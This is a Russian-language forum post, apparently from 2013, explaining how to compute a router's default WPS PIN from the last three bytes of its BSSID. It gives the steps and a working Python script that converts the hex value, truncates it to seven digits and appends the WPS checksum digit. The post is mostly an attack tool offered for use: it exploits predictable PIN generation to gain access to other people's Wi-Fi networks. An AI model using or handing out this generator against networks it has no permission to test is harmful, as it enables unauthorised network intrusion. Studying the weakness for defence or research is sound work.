Показать сообщение отдельно

  #936  
Старый 18.10.2013, 03:46
binarymaster
Флудер
Регистрация: 11.12.2010
Сообщений: 4,688
С нами: 8115446

Репутация: 125


По умолчанию

Всё просто:

1. Берёшь три последних байта из BSSID

2. Копируешь их в калькулятор в Hex режиме (шестнадцатиричном)

3. Переводишь в Dec режим (десятичный)

4. Полученное число обрезаешь до 7 цифр от старшего разряда (mod 10000000)

5. Вычисляешь последнюю цифру (контрольную сумму) пина по алгоритму WPS PIN Checksum

Этот же алгоритм используется в проге WPSPIN на ведройд.

Вот, я по-быстрому сделал скрипт на питоне для генерации пина по алгоритму (на базе easybox_wps.py) :

Код:
#!/usr/bin/env python
import sys, re

def gen_pin (mac_str):
    pin = int(mac_str[6:12], 16) % 10000000

    # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
        # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
    accum = 0
    t = pin
    while (t):
        accum += 3 * (t % 10)
        t /= 10
        accum += t % 10
        t /= 10
    return '%07i%i' % (pin, (10 - accum % 10) % 10)

def main():
    if len(sys.argv) != 2:
        sys.exit('usage: wpspin.py [BSSID]\n eg. wpspin.py CC:5D:4E:11:22:33\n')

    mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
        
    if len(mac_str) != 12:
        sys.exit('check MAC format!\n')

    print 'WPS pin:', gen_pin(mac_str)

if __name__ == "__main__":
    main()
 
Ответить с цитированием